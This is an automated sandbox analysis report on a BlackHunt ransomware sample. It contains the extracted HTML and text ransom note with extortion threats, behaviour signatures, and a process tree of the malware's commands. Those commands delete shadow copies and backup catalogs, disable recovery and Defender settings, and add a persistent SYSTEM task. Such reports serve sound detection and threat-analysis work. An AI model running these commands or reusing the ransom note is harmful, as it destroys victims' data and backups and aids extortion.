Analysis

  • max time kernel
    91s
  • max time network
    95s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231215-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
  • submitted
    18/01/2024, 23:29

General

  • Target

    5bd88ab5515edde16a468ab9ccb20952c195a522bbda8a54323c024fec09d5bd.exe

  • Size

    707KB

  • MD5

    43cdbedfc35dface2193eaca9d9cb4ae

  • SHA1

    b2ecf41ae92ae299379076661c4743eeb8840ad2

  • SHA256

    5bd88ab5515edde16a468ab9ccb20952c195a522bbda8a54323c024fec09d5bd

  • SHA512

    3fff43967958289b1c42cada5b6488992c7baa41e85a121b72e66ab2579be8be563876f5a4e9135011583090ef3ebbb900664a0146d3e8299cd7b01cfdaa25ba

  • SSDEEP

    6144:wcmwdMZ0aq9arLKkdMqJ+VYg/5ICAAQs+d5zSTamgEoOFzxLza1r8Lvnh:6uaTmkZJ+naie5OTamgEoKxLWibh

Malware Config

Extracted

Path

C:\ProgramData\#BlackHunt_ReadMe.hta

Ransom Note
<!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta http-equiv="x-ua-compatible" content="ie=9"><meta charset="UTF-8"><HTA:APPLICATION icon="#" WINDOWSTATE="maximize" scroll="no" SELECTION="yes" contextmenu="no" caption="yes" SYSMENU="no" innerBorder="yes" SHOWINTASKBAR="yes" singleInstance="yes" /><meta name="viewport" content="width = device-width,initial-scale=1.0"><style>a,abbr,acronym,address,applet,article,aside,audio,b,big,blockquote,body,canvas,caption,center,cite,code,dd,del,details,dfn,div,dl,dt,em,embed,fieldset,figcaption,figure,footer,form,h1,h2,h3,h4,h5,h6,header,hgroup,html,i,iframe,img,ins,kbd,label,legend,li,mark,menu,nav,object,ol,output,p,pre,q,ruby,s,samp,section,small,span,strike,strong,sub,summary,sup,table,tbody,td,tfoot,th,thead,time,tr,tt,u,ul,var,video{margin:0;padding:0;border:0;font-size:100%;font:inherit;vertical-align:baseline}article,aside,details,figcaption,figure,footer,header,hgroup,menu,nav,section{display:block}body{line-height:1}ol,ul{list-style:none}blockquote,q{quotes:none}blockquote:after,blockquote:before,q:after,q:before{content:'';content:none}table{border-collapse:collapse;border-spacing:0}</style><style>body,html{background-color:#dadada;font-family:'Segoe UI',Tahoma,Geneva,Verdana,sans-serif;font-weight:600;font-size:16px}a{text-decoration:none;color:#0483ab}div.header{margin-top:15px;margin-bottom:5px;width:100%}div.header h1{width:97%;text-align:left;font-size:30px;font-weight:900;margin:auto}div.header h1 span#black{display:inline-block;color:#000;margin-right:0;padding:2px 2px}div.header h1 span#hunter{display:inline-block;color:#e90303;background-color:#000;padding:2px 8px;margin-left:0}div.header h1 span#hunter span#version{font-size:12px}div.message div.head-encrypted-msg{width:100%}div.message div.head-encrypted-msg h1{font-size:330%;width:97%;margin:auto;text-align:center;font-weight:700}div.message div.head-encrypted-msg h1 span{display:inline-block;color:#000;background-color:#e90303;padding:0 8px 0 8px;margin-right:3px}div.message div.head-attention-msg{width:97%;margin:auto;text-align:center;margin-top:1%;border:1px solid #e90303;background-color:#f1caca;border-radius:5px;font-size:250%;padding-top:10px;padding-bottom:10px}div.message div.head-attention-msg p{margin-bottom:.5%}div.message div.head-attention-msg p span{color:#e90303}div.content{margin:auto;margin-top:2%}div.content div.content-head-msg{font-size:32px;text-align:left;font-weight:600}div.content div.content-boxes{margin:auto;margin-top:2%}div.content div.box{width:96%;margin:auto;border-radius:5px;margin-bottom:30px}div.content div.content-left-box{background-color:#c5cfd8;padding:40px 0 40px 20px;font-size:24px;position:relative;border-left:15px solid #1878cf}div.content div.content-left-box h3.left-box-title{background-color:#1878cf;display:inline-block;padding:10px 10px;border-radius:5px;color:#fff;position:absolute;top:-22px;margin-left:auto;margin-right:auto;left:0;right:0;width:20%;text-align:center}div.content div.content-left-box div.content-contact-directly *{font-weight:600!important;line-height:1.4em}div.content div.content-left-box div.content-contact-directly h4{font-size:24px;font-weight:500;margin-top:8px}div.content div.content-left-box div.content-contact-directly h4#tox{font-weight:600;display:inline-block;margin-left:3px}div.content div.content-left-box div.content-contact-directly div.tox-id{margin-left:6%}div.content div.content-left-box div.content-contact-directly h4#tox-id{font-size:24px}div.content div.content-left-box div.content-contact-directly p#tox-id-p{font-size:16px}div.content div.content-left-box div.content-contact-directly h4#download-tox{display:inline-block;margin-left:6%}div.content div.content-left-box div.content-contact-directly p#download-tox-p{display:inline-block}div.content div.content-left-box div.content-contact-directly h4#email{display:inline-block;font-weight:600;margin-left:3px}div.content div.content-left-box div.content-contact-directly p#email-p{display:inline-block;font-size:24px;margin-left:8px}div.content div.content-left-box div.content-contact-directly h4#user-id{font-weight:500;margin-left:3px}div.content div.content-left-box div.content-contact-directly h4#user-id span{color:#e90303}div.content div.content-left-box div.content-contact-tor{margin-top:50px;font-weight:600!important}div.content div.content-left-box div.content-contact-tor h3{font-size:24px}div.content div.content-left-box div.content-contact-tor h3 span{color:#e90303}div.content div.content-left-box div.content-contact-tor div.content-tor-inside{margin-left:6;margin-top:10px}div.content div.content-left-box div.content-contact-tor div.content-tor-inside p{margin-top:8px}div.content div.content-left-box div.content-contact-tor div.content-tor-inside p img{position:relative;bottom:-3px}div.content div.content-right-box{background-color:#efb0b0;padding:40px 0 40px 20px;font-size:24px;position:relative;border-left:15px solid #e90303}div.content div.content-right-box h3.right-box-title{background-color:#e90303;display:inline-block;padding:10px 10px;border-radius:5px;color:#fff;position:absolute;top:-22px;margin-left:auto;margin-right:auto;left:0;right:0;width:20%;text-align:center}div.content div.content-right-box p{color:#000;font-size:22px;font-weight:600;margin-top:9px;line-height:1.4em}div.content div.content-left-box p{color:#000;font-size:22px;font-weight:600;margin-top:9px;line-height:1.4em}div.content div.content-left-box p span{color:#e90303;font-weight:700;font-size:24px}</style><title>Black Hunt</title></head><body><div class="header"><h1><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAIMAAAAWCAYAAADjNi+WAAAACXBIWXMAAC4jAAAuIwF4pT92AAALpWlUWHRYTUw6Y29tLmFkb2JlLnhtcAAAAAAAPD94cGFja2V0IGJlZ2luPSLvu78iIGlkPSJXNU0wTXBDZWhpSHpyZVN6TlRjemtjOWQiPz4gPHg6eG1wbWV0YSB4bWxuczp4PSJhZG9iZTpuczptZXRhLyIgeDp4bXB0az0iQWRvYmUgWE1QIENvcmUgNi4wLWMwMDIgNzkuMTY0NDYwLCAyMDIwLzA1LzEyLTE2OjA0OjE3ICAgICAgICAiPiA8cmRmOlJERiB4bWxuczpyZGY9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkvMDIvMjItcmRmLXN5bnRheC1ucyMiPiA8cmRmOkRlc2NyaXB0aW9uIHJkZjphYm91dD0iIiB4bWxuczp4bXA9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC8iIHhtbG5zOmRjPSJodHRwOi8vcHVybC5vcmcvZGMvZWxlbWVudHMvMS4xLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9tbS8iIHhtbG5zOnN0RXZ0PSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VFdmVudCMiIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VSZWYjIiB4bWxuczpwaG90b3Nob3A9Imh0dHA6Ly9ucy5hZG9iZS5jb20vcGhvdG9zaG9wLzEuMC8iIHhtbG5zOnRpZmY9Imh0dHA6Ly9ucy5hZG9iZS5jb20vdGlmZi8xLjAvIiB4bWxuczpleGlmPSJodHRwOi8vbnMuYWRvYmUuY29tL2V4aWYvMS4wLyIgeG1wOkNyZWF0b3JUb29sPSJBZG9iZSBQaG90b3Nob3AgMjEuMiAoV2luZG93cykiIHhtcDpDcmVhdGVEYXRlPSIyMDIyLTEwLTEzVDEyOjMyOjAyKzAzOjMwIiB4bXA6TWV0YWRhdGFEYXRlPSIyMDIzLTA0LTA3VDA0OjIxOjI1KzA0OjMwIiB4bXA6TW9kaWZ5RGF0ZT0iMjAyMy0wNC0wN1QwNDoyMToyNSswNDozMCIgZGM6Zm9ybWF0PSJpbWFnZS9wbmciIHhtcE1NOkluc3RhbmNlSUQ9InhtcC5paWQ6NGRiOTQ5OGItYTg5Mi0yMTRjLTliYzgtZTZlMDM3ZTYzYmJkIiB4bXBNTTpEb2N1bWVudElEPSJhZG9iZTpkb2NpZDpwaG90b3Nob3A6ZGVlODIyNjgtMDA3Ni0wNDQ2LWFjMGEtMzk2OTY3MzA0YTdjIiB4bXBNTTpPcmlnaW5hbERvY3VtZW50SUQ9InhtcC5kaWQ6MjcyMzA2NjctZDM0ZC1lMjRmLWJlNTUtMDQyMWY2MmY3ZWI1IiBwaG90b3Nob3A6Q29sb3JNb2RlPSIzIiBwaG90b3Nob3A6SUNDUHJvZmlsZT0ic1JHQiBJRUM2MTk2Ni0yLjEiIHRpZmY6T3JpZW50YXRpb249IjEiIHRpZmY6WFJlc29sdXRpb249IjMwMDAwMDAvMTAwMDAiIHRpZmY6WVJlc29sdXRpb249IjMwMDAwMDAvMTAwMDAiIHRpZmY6UmVzb2x1dGlvblVuaXQ9IjIiIGV4aWY6Q29sb3JTcGFjZT0iMSIgZXhpZjpQaXhlbFhEaW1lbnNpb249IjQ0OSIgZXhpZjpQaXhlbFlEaW1lbnNpb249Ijg5Ij4gPHhtcE1NOkhpc3Rvcnk+IDxyZGY6U2VxPiA8cmRmOmxpIHN0RXZ0OmFjdGlvbj0iY3JlYXRlZCIgc3RFdnQ6aW5zdGFuY2VJRD0ieG1wLmlpZDoyNzIzMDY2Ny1kMzRkLWUyNGYtYmU1NS0wNDIxZjYyZjdlYjUiIHN0RXZ0OndoZW49IjIwMjItMTAtMTNUMTI6MzI6MDIrMDM6MzAiIHN0RXZ0OnNvZnR3YXJlQWdlbnQ9IkFkb2JlIFBob3Rvc2hvcCAyMS4yIChXaW5kb3dzKSIvPiA8cmRmOmxpIHN0RXZ0OmFjdGlvbj0ic2F2ZWQiIHN0RXZ0Omluc3RhbmNlSUQ9InhtcC5paWQ6NzU5MzVkMTMtYjM0OS02ZTRiLWIwODctYzc5ZTJmZGNiNzgwIiBzdEV2dDp3aGVuPSIyMDIyLTEwLTEzVDEyOjMyOjE0KzAzOjMwIiBzdEV2dDpzb2Z0d2FyZUFnZW50PSJBZG9iZSBQaG90b3Nob3AgMjEuMiAoV2luZG93cykiIHN0RXZ0OmNoYW5nZWQ9Ii8iLz4gPHJkZjpsaSBzdEV2dDphY3Rpb249InNhdmVkIiBzdEV2dDppbnN0YW5jZUlEPSJ4bXAuaWlkOmJiMmZiMmMyLWRjNDUtMzE0Yy1iMmQxLWRjNzFlZGUwNWJlYSIgc3RFdnQ6d2hlbj0iMjAyMy0wNC0wN1QwNDoyMToyNSswNDozMCIgc3RFdnQ6c29mdHdhcmVBZ2VudD0iQWRvYmUgUGhvdG9zaG9wIDIxLjIgKFdpbmRvd3MpIiBzdEV2dDpjaGFuZ2VkPSIvIi8+IDxyZGY6bGkgc3RFdnQ6YWN0aW9uPSJjb252ZXJ0ZWQiIHN0RXZ0OnBhcmFtZXRlcnM9ImZyb20gYXBwbGljYXRpb24vdm5kLmFkb2JlLnBob3Rvc2hvcCB0byBpbWFnZS9wbmciLz4gPHJkZjpsaSBzdEV2dDphY3Rpb249ImRlcml2ZWQiIHN0RXZ0OnBhcmFtZXRlcnM9ImNvbnZlcnRlZCBmcm9tIGFwcGxpY2F0aW9uL3ZuZC5hZG9iZS5waG90b3Nob3AgdG8gaW1hZ2UvcG5nIi8+IDxyZGY6bGkgc3RFdnQ6YWN0aW9uPSJzYXZlZCIgc3RFdnQ6aW5zdGFuY2VJRD0ieG1wLmlpZDo0ZGI5NDk4Yi1hODkyLTIxNGMtOWJjOC1lNmUwMzdlNjNiYmQiIHN0RXZ0OndoZW49IjIwMjMtMDQtMDdUMDQ6MjE6MjUrMDQ6MzAiIHN0RXZ0OnNvZnR3YXJlQWdlbnQ9IkFkb2JlIFBob3Rvc2hvcCAyMS4yIChXaW5kb3dzKSIgc3RFdnQ6Y2hhbmdlZD0iLyIvPiA8L3JkZjpTZXE+IDwveG1wTU06SGlzdG9yeT4gPHhtcE1NOkRlcml2ZWRGcm9tIHN0UmVmOmluc3RhbmNlSUQ9InhtcC5paWQ6YmIyZmIyYzItZGM0NS0zMTRjLWIyZDEtZGM3MWVkZTA1YmVhIiBzdFJlZjpkb2N1bWVudElEPSJhZG9iZTpkb2NpZDpwaG90b3Nob3A6YTU3NzljMGQtYzI3Zi05ZjQ2LWJmMjgtYjQ2MzIzZjQ5ZjQxIiBzdFJlZjpvcmlnaW5hbERvY3VtZW50SUQ9InhtcC5kaWQ6MjcyMzA2NjctZDM0ZC1lMjRmLWJlNTUtMDQy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 " alt=""></h1></div><div class="message"><div class="head-encrypted-msg"><h1>YOUR<span>WHOLE NETWORK</span>HAS BEEN PENETRATED BY<span>Black Hunt</span>!</h1></div><div class="head-attention-msg"><p>We also have uploaded your sensitive data, which we Will leak or sell in case of no cooperation!</p><p><span>Restore your data possible only buying private key from us</span></p></div></div><div class="content"><div class="content-boxes"><div class="content-right-box box"><h3 class="right-box-title">ATTENTION</h3><p>remember, there are many middle man services out there pretending that they can recover or decrypt your files , whom neither will contact us or scam you, Remember we are first and last solution for your files otherwise you will only waste money and time</p><p>trying to decrypt your files without our decryptor and through third party softwares will make your files completely useless, there is no third party decryptor since we are the only key holders</p><p>we have uploaded many critical data and information from your machines , we won't leak or sell any of them in Case of successful Corporation, however if we don't hear from you in 14 days we will either sell or leak your data in many forums</p><p></p><p>Remain all of your files untouched, do not change their name, extension and...</p></div><div class="content-left-box box"><h3 class="left-box-title">CONTACT US</h3><p>Your system is offline. in order to contact us you can email this address<span> [email protected] </span>this ID (<span> CFnAo0yYWzHUhaFF </span>) for the title of your email.</p><p>If you weren't able to contact us whitin 24 hours please email:<span> [email protected] </span></p><p>Check your data situation in<a href="#"><span> http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion </span></a></p></div></div></div></body></html>
URLs

http-equiv="x-ua-compatible"

http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion

Extracted

Path

C:\ProgramData\#BlackHunt_ReadMe.hta

Ransom Note
YOUR WHOLE NETWORK HAS BEEN PENETRATED BY Black Hunt ! We also have uploaded your sensitive data, which we Will leak or sell in case of no cooperation! Restore your data possible only buying private key from us ATTENTION remember, there are many middle man services out there pretending that they can recover or decrypt your files , whom neither will contact us or scam you, Remember we are first and last solution for your files otherwise you will only waste money and time trying to decrypt your files without our decryptor and through third party softwares will make your files completely useless, there is no third party decryptor since we are the only key holders we have uploaded many critical data and information from your machines , we won't leak or sell any of them in Case of successful Corporation, however if we don't hear from you in 14 days we will either sell or leak your data in many forums Remain all of your files untouched, do not change their name, extension and... CONTACT US Your system is offline. in order to contact us you can email this address [email protected] this ID ( CFnAo0yYWzHUhaFF ) for the title of your email. If you weren't able to contact us whitin 24 hours please email: [email protected] Check your data situation in http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion
URLs

http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion

Signatures

  • Deletes NTFS Change Journal 2 TTPs 2 IoCs

    The USN change journal is a persistent log of all changes made to local files used by Windows Server systems.

  • Modifies Windows Defender Real-time Protection settings 3 TTPs 2 IoCs
  • UAC bypass 3 TTPs 1 IoCs
  • Clears Windows event logs 1 TTPs 5 IoCs
  • Deletes shadow copies 2 TTPs

    Ransomware often targets backup files to inhibit system recovery.

  • Modifies boot configuration data using bcdedit 1 TTPs 4 IoCs
  • Renames multiple (3374) files with added filename extension

    This suggests ransomware activity of encrypting all the files on the system.

  • Deletes backup catalog 3 TTPs 2 IoCs

    Uses wbadmin.exe to inhibit system recovery.

  • Disables Task Manager via registry modification
  • Disables use of System Restore points 1 TTPs
  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Adds Run key to start application 2 TTPs 1 IoCs
  • Checks whether UAC is enabled 1 TTPs 1 IoCs
  • Enumerates connected drives 3 TTPs 27 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
  • Drops file in Program Files directory 64 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 1 IoCs
  • Checks SCSI registry key(s) 3 TTPs 4 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Interacts with shadow copies 2 TTPs 6 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

  • Kills process with taskkill 1 IoCs
  • Modifies registry class 11 IoCs
  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 24 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • System policy modification 1 TTPs 3 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\5bd88ab5515edde16a468ab9ccb20952c195a522bbda8a54323c024fec09d5bd.exe
    "C:\Users\Admin\AppData\Local\Temp\5bd88ab5515edde16a468ab9ccb20952c195a522bbda8a54323c024fec09d5bd.exe"
    1⤵
    • UAC bypass
    • Checks computer location settings
    • Checks whether UAC is enabled
    • Enumerates connected drives
    • Sets desktop wallpaper using registry
    • Drops file in Program Files directory
    • Suspicious behavior: GetForegroundWindowSpam
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    • System policy modification
    PID:4424
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4948
      • C:\Windows\system32\reg.exe
        reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
        3⤵
          PID:1608
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
        2⤵
          PID:2780
          • C:\Windows\system32\reg.exe
            reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
            3⤵
              PID:1220
          • C:\Windows\System32\cmd.exe
            "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
            2⤵
              PID:1412
              • C:\Windows\system32\reg.exe
                reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
                3⤵
                  PID:4092
              • C:\Windows\System32\cmd.exe
                "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
                2⤵
                  PID:1840
                  • C:\Windows\system32\vssadmin.exe
                    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
                    3⤵
                    • Enumerates connected drives
                    • Interacts with shadow copies
                    PID:2232
                • C:\Windows\System32\cmd.exe
                  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
                  2⤵
                    PID:1604
                    • C:\Windows\system32\schtasks.exe
                      schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
                      3⤵
                        PID:5192
                    • C:\Windows\System32\cmd.exe
                      "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
                      2⤵
                        PID:4836
                        • C:\Windows\system32\wbadmin.exe
                          wbadmin.exe delete catalog -quiet
                          3⤵
                          • Deletes backup catalog
                          PID:9000
                      • C:\Windows\System32\cmd.exe
                        "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
                        2⤵
                          PID:1416
                          • C:\Windows\system32\fsutil.exe
                            fsutil.exe usn deletejournal /D C:
                            3⤵
                            • Deletes NTFS Change Journal
                            PID:5140
                        • C:\Windows\System32\cmd.exe
                          "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
                          2⤵
                            PID:2344
                          • C:\Windows\System32\cmd.exe
                            "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
                            2⤵
                              PID:3920
                            • C:\Windows\System32\cmd.exe
                              "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
                              2⤵
                                PID:3668
                              • C:\Windows\System32\cmd.exe
                                "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
                                2⤵
                                  PID:2604
                                • C:\Windows\System32\cmd.exe
                                  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
                                  2⤵
                                    PID:3644
                                  • C:\Windows\System32\cmd.exe
                                    "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
                                    2⤵
                                      PID:2444
                                    • C:\Windows\System32\cmd.exe
                                      "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\5bd88ab5515edde16a468ab9ccb20952c195a522bbda8a54323c024fec09d5bd.exe" /F
                                      2⤵
                                        PID:4692
                                      • C:\Windows\System32\cmd.exe
                                        "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
                                        2⤵
                                          PID:4312
                                        • C:\Windows\System32\cmd.exe
                                          "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
                                          2⤵
                                            PID:3608
                                          • C:\Windows\System32\cmd.exe
                                            "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
                                            2⤵
                                              PID:2908
                                            • C:\Windows\System32\cmd.exe
                                              "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
                                              2⤵
                                                PID:3188
                                              • C:\Windows\System32\cmd.exe
                                                "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
                                                2⤵
                                                  PID:788
                                                • C:\Windows\System32\cmd.exe
                                                  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
                                                  2⤵
                                                    PID:2920
                                                  • C:\Windows\System32\cmd.exe
                                                    "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
                                                    2⤵
                                                      PID:2200
                                                    • C:\Windows\System32\cmd.exe
                                                      "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
                                                      2⤵
                                                        PID:400
                                                      • C:\Windows\System32\cmd.exe
                                                        "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
                                                        2⤵
                                                          PID:980
                                                        • C:\Windows\System32\cmd.exe
                                                          "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
                                                          2⤵
                                                            PID:4568
                                                          • C:\Windows\System32\cmd.exe
                                                            "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
                                                            2⤵
                                                              PID:4728
                                                            • C:\Windows\System32\cmd.exe
                                                              "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
